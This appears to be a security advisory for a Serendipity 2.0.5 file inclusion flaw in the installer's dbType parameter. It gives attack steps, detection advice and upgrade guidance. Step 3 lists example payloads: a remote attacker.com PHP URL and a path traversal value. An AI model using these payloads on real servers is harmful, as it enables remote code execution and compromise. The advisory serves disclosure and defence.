Source: cve@mitre.org
include/functions_installer.inc.php in Serendipity through 2.0.5 is vulnerable to File Inclusion and a possible Code Execution attack during a first-time installation because it fails to sanitize the dbType POST parameter before adding it to an include() call in the bundled-libs/serendipity_generateFTPChecksums.php file.
Serendipity versions up to 2.0.5 are vulnerable to a critical Remote Code Execution (RCE) vulnerability. This flaw allows an attacker to execute arbitrary code on the server by exploiting an unvalidated file inclusion vulnerability during the initial installation process, potentially leading to complete system compromise and data exfiltration.
Step 1: Installation Initiation: The attacker initiates the Serendipity installation process, typically by accessing the installation script through a web browser.
Step 2: Parameter Manipulation: During the installation, the attacker intercepts the HTTP POST request that includes the dbType parameter.
Step 3: Payload Injection: The attacker crafts a malicious value for the dbType parameter. This value is designed to point to a malicious PHP file hosted on the attacker's server or a local file on the target server (if the attacker has prior access). The payload could be something like: http://attacker.com/malicious.php or ../path/to/malicious.php.
Step 4: Request Submission: The attacker submits the modified POST request containing the malicious dbType value.
Step 5: File Inclusion: The include/functions_installer.inc.php file, during the installation process, calls serendipity_generateFTPChecksums.php which in turn includes the file specified by the attacker-controlled dbType parameter.
Step 6: Code Execution: The included malicious PHP file is executed by the server, allowing the attacker to execute arbitrary code with the privileges of the web server user. This could include creating a reverse shell, uploading a web shell, or reading sensitive files.
Step 7: System Compromise: The attacker leverages the code execution to gain further access, potentially leading to complete system compromise, data exfiltration, and persistence mechanisms.
The vulnerability stems from a failure to properly sanitize the dbType POST parameter within the include/functions_installer.inc.php file during the first-time installation of Serendipity. Specifically, the dbType parameter is directly incorporated into an include() call within the bundled-libs/serendipity_generateFTPChecksums.php file without any input validation. This allows an attacker to control the file path included, enabling them to include a malicious file containing PHP code. This malicious file, when included, is executed by the server, granting the attacker the ability to execute arbitrary code, potentially leading to a full system compromise. The root cause is a lack of input validation and sanitization of user-supplied data before its use in a critical function call, leading to a Local File Inclusion (LFI) vulnerability that can be escalated to Remote Code Execution (RCE).
While no specific APT groups are directly linked to this vulnerability in public reports, the ease of exploitation makes it attractive to a wide range of attackers, including those seeking initial access. This vulnerability could be leveraged by attackers for initial access, persistence, and lateral movement. CISA KEV status: Not listed.
Monitor web server access logs for suspicious POST requests to the installation script (e.g., install.php) with unusual values in the dbType parameter.
Analyze web server logs for unusual file access patterns, particularly attempts to include files from external sources or local files that are not part of the standard Serendipity installation.
Implement file integrity monitoring to detect any unauthorized changes to Serendipity core files, especially those related to the installation process.
Network Intrusion Detection Systems (IDS) can be configured to detect malicious HTTP POST requests containing payloads designed to exploit the vulnerability. Look for unusual file inclusion attempts.
Review server-side PHP error logs for any errors related to file inclusion or execution of unexpected code.
Upgrade to Serendipity version 2.0.6 or later, which includes a fix for this vulnerability.
If upgrading is not immediately possible, apply a web application firewall (WAF) rule to block or sanitize the dbType parameter during the installation process. Specifically, filter out any attempts to include external URLs or local files.
Review and harden the web server configuration to restrict access to sensitive files and directories.
Implement input validation and sanitization for all user-supplied data, especially parameters used in file inclusion operations.
Regularly scan the system for vulnerabilities using vulnerability scanners.
Implement a defense-in-depth strategy, including intrusion detection and prevention systems.